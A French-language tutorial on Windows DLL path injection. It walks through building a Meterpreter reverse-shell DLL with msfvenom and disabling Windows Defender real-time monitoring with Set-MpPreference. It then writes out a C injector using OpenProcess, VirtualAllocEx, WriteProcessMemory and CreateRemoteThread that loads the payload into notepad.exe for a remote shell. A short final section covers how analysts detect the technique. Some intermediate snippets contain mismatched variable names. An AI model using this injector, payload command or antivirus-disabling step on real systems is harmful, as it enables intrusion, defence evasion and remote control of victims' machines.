DLL path injection

La technique de la DLL path injection est la technique d'injection de processus la plus connue puisqu'elle est utilisée depuis des dizaines d'années. Concrètement cette technique consiste à écrire le chemin de la DLL dans l'espace mémoire du processus légitime puis de créer un thread qui chargera et exécutera cette DLL.

I/ Principe de l'injection de path

Pour tester cette technique nous allons commencer par générer un reverse shell meterpreter via la commande:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f dll > shell.dll

Cette DLL je vais la stocker sur le disque de la machine distante afin de vous montrer que Windows Defender la détecte bien comme étant malicieuse:

Du coup je vais devoir désactiver Windows Defender en utilisant la commande suivante:

Set-MpPreference -DisableRealtimeMonitoring $true

L'injection de DLL repose sur plusieurs API Windows. La première c'est OpenProcess qui va nous permettre d'obtenir un handler (un pointeur) sur la structure EPROCESS du processus cible. Pour rappel, un handle c'est un pointeur sur une structure telle qu'un processus ou encore une DLL:

Le prototype de la fonction OpenProcess est le suivant:

HANDLE WINAPI OpenProcess(
__in  DWORD dwDesiredAccess,
__in  BOOL bInheritHandle,
__in  DWORD dwProcessId
);

Il faut donc lui spécifier:

  • dwProcessID: le PID du processus à injecter
  • bInheritHandle: indique si le processus fils doit hériter des handle du processus père (dans notre cas non)
  • dwDesiredAccess: indique le niveau de permissions d'un processus (ici on va indiquer qu'on lui donne tous les droits)

Jusque là le code C de notre injecteur de DLL est le suivant:

#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
	HANDLE openProcessHandle;
	char pathToDLL[] = "C:\\Users\\ach\\Desktop\\shell.dll";
	openProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
	return 0;
}

Une fois ce handle obtenu nous avons accès à l'ensemble des informations relatives à ce processus nous allons donc pouvoir le manipuler. La seconde API utilisée est VirtualAllocEx qui va nous permettre d'allouer de l'espace mémoire dans l'espace mémoire du processus:

Le prototype de la fonction VirtualAllocEx est le suivant:

LPVOID WINAPI VirtualAllocEx(
__in      HANDLE hProcess,
__in_opt  LPVOID lpAddress,
__in      SIZE_T dwSize,
__in      DWORD flAllocationType,
__in      DWORD flProtect
);

On doit donc lui donner en paramètre:

  • hProcess: le handle sur le processus cible
  • lpAddress: un pointeur sur l'adresse mémoire à partir de laquelle il faut allouer de la mémoire (par défaut NULL)
  • dwSize: taille du buffer à allouer
  • flAllocationType: le type de mémoire à allouer (est ce que le kernel doit juste réserver l'espace ou activement l'allouer)
  • flProtect: le type de protection à attribuer à la page (READ, WRITE, EXECUTE ...)
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
	HANDLE openProcessHandle;
	char pathToDLL[] = "C:\\Users\\ach\\Desktop\\shell.dll";
  	PVOID vae_buffer;
  
	openProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
	vea_buffer = VirtualAllocEx(openProcessHandle, NULL, sizeof(pathToDLL), MEM_COMMIT, PAGE_READWRITE);

	return 0;
}

On notera ici que l'on alloue une zone mémoire dont la taille équivaut à la taille de la chaîne de caractère pathToDLL. Si l'allocation réussie alors on récupère l'adresse mémoire du début de la zone mémoire allouée sinon NULL. Une fois l'allocation faite il faudra écrire cette chaîne de caractère dans l'espace mémoire via l'API WriteProcessMemory:

Voici son prototype:

BOOL WINAPI WriteProcessMemory(
__in   HANDLE hProcess,
__in   LPVOID lpBaseAddress,
__in   LPCVOID lpBuffer,
__in   SIZE_T nSize,

__out  SIZE_T* lpNumberOfBytesWritten
);

WriteProcessMemory prend en paramètre:

  • hProcess: le handle sur le processus cible
  • lpBaseAddress: adresse mémoire à partir de laquelle il faut stocker le buffer
  • lpBuffer: pointeur sur le buffer dont il faut écrire le contenu
  • nSize: la taille du buffer à écrire
  • lpNumberOfBytesWritten: variable dans laquelle est stockée le nombre d'octets écrits en mémoire

Ce qui nous donne le code suivant:

#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
	HANDLE openProcessHandle;
	LPVOID vae_buffer;
	char pathToDLL[] = "C:\\Users\\ach\\Desktop\\shell.dll";

	openProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
	vae_buffer = VirtualAllocEx(openProcessHandle, NULL, sizeof(pathToDLL), MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(openProcessHandle, vae_buffer, pathToDLL, sizeof(pathToDLL), NULL);

	return 0;
}

Maintenant que nous avons le chemin de notre DLL en mémoire il va falloir la charger et l'exécuter. Pour cela nous disposons de deux fonctions LoadLibraryA et DllMain. Étant donné que c'est le premier article de cette série je vais rester sur du simple et utiliser LoadLibraryA (on verra dans un futur article comment et pourquoi il vaut mieux utiliser DllMain).

La fonction LoadLibraryA de la DLL kernel32.dll est une fonction qui ne prend en paramètre que le chemin d'accès de la DLL à charger. Le seul souci c'est qu'avant de pouvoir l'utiliser il faut déterminer où elle se trouve dans l'espace mémoire du processus cible.

Une question qui pourrait se poser est: pourquoi est ce que cette DLL serait présente en mémoire ? En fait lorsque l'on exécute un binaire sous Windows, le PE loader (le processus qui charge le binaire) va automatiquement charger plusieurs librairies dont la librairie kernel32.dll. Cette librairie est toujours chargée aux mêmes adresses mémoires ce qui rend son utilisation assez simple.

Pour cela on va utiliser une première fonction, GetProcAddress, dont voici le prototype:

FARPROC GetProcAddress(
__in  HMODULE hModule,
__in  LPCSTR  lpProcName
);

Elle prend en paramètre:

  • hModule: un handle sur la DLL que l'on recheche (kernel32.dll)
  • lpProcName: le nom de la fonction que l'on recherche (LoadLibraryA)

Or pour obtenir un handle sur la DLL kernel.dll nous allons avoir besoin d'une second fonction: GetModuleHandle dont voici le prototype:

HMODULE GetModuleHandle ( 
__in LPCTSTR lpModuleName
);

Cette fonction prend en paramètre:

  • lpModuleName: le nom de la DLL dont on veut récupérer un handle

Utiliser conjointement nous pourrons récupérer l'adresse mémoire de la fonction LoadLibraryA de la manière suivante:

#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
	HANDLE openProcessHandle;
	LPVOID vae_buffer;
	char pathToDLL[] = "C:\\Users\\ach\\Desktop\\shell.dll";
	LPVOID loadLibAddress;

	openProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
	vae_buffer = VirtualAllocEx(openProcessHandle, NULL, sizeof(pathToDLL), MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(openProcessHandle, vae_return, pathToDLL, sizeof(pathToDLL), &return_written);
	PTHREAD_START_ROUTINE loadLibAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32")), "LoadLibraryA");
	return 0;
}

Il ne nous reste plus qu'à charger notre DLL et l'exécuter:

Pour cela on utilisera l'API CreateRemoteThread dont voici le prototype:

HANDLE WINAPI CreateRemoteThread(
__in   HANDLE hProcess,
__in   LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in   SIZE_T dwStackSize,
__in   LPTHREAD_START_ROUTINE lpStartAddress,
__in   LPVOID lpParameter,
__in   DWORD dwCreationFlags,
__out  LPDWORD lpThreadId
);

CreateRemoteThread prend en paramètre:

  • hProcess: handle sur le processus cible
  • lpThreadAttributes: un pointeur sur la structure SECURITY_ATTRIBUTES (par défaut NULL)
  • dwStackSize: la taille de la stack (par défaut 0)
  • lpStartAddress: un pointeur sur la fonction que le thread doit exécuter (dans notre cas LoadLibraryA)
  • lpParameter: un pointeur contenant les paramètres à passer à la fonction
  • dwCreationFlag: le flag de contrôle du thread (par défaut 0)
  • lpThreadIt: variable dans laquelle est stockée l'identifiant du thread

Le code final sera le suivant:

#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
	HANDLE openProcessHandle;
	PVOID vae_buffer;
	char pathToDLL[] = "E:\\shell.dll";

	openProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(9072));
	vae_buffer = VirtualAllocEx(openProcessHandle, NULL, sizeof(pathToDLL), MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(openProcessHandle, vae_buffer, pathToDLL, sizeof(pathToDLL), NULL);
	PTHREAD_START_ROUTINE loadLibAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32")), "LoadLibraryA");
	CreateRemoteThread(openProcessHandle, NULL, 0, loadLibAddress, vae_buffer, 0, NULL);
  	CloseHandle(openProcesshandle);
	return 0;
}

Ici j'ai hard codé le PID du processus cible (9072) dans un prochain article nous verrons comment cibler un processus en particulier sans avoir à hardcoder son PID.

Il ne nous reste plus qu'à mettre en place un listener sur msfconsole, compiler le code puis l'exécuter:

Pour obtenir un reverse shell Meterpreter.

II/ Reverse et forensic

L'un des gros soucis de cette technique c'est qu'elle nécessite que la DLL soit présente sur le disque de la machine ciblée. Or comme nous l'avons vu au début de l'article, la présence d'une telle DLL (non obfusquée) sera directement flagguée comme étant malicieuse par n'importe quel antivirus. De plus l'utilisation de l'API WriteProcessMemory est presque toujours monitorée ce qui rend son utilisation très délicate. Enfin un analyste pourrait très facilement se rendre compte que le binaire n'est pas légitime en utilisant la commande strings:

strings dllinject.exe

Ici on voit que plusieurs API sont utilisées et bien évidemment l'utilisation conjointe de ces API est suspicieuse.

Un autre gros souci lié à cette technique est qu'elle est très facilement détectable pour un analyste forensic. En effet tout au long de cet article nous avons créé un thread qui a exécuté du code (la DLL). Un noeau processus a donc été créé et son père n'est autre que:

Le processus notepad.exe... Bien évidemment ce comportement n'a rien de normal et sera de suite repéré.

Enfin l'utilisation de la fonction LoadLibraryA pose aussi problème. En effet l'action de charger une DLL modifiera plusieurs structure donc la structure _PEB_LDR_DATA. Cette structure est une double liste chaînée listant l'ensemble des DLL chargées par un binaire

Via l'utilitaire listdlls on pourra aisément lister les DLL's chargées par le processus notepad.exe et ainsi découvrir la DLL malicieuse:

L'injection de DLL n'est donc pas à utiliser si vous souhaitez rester discret. :)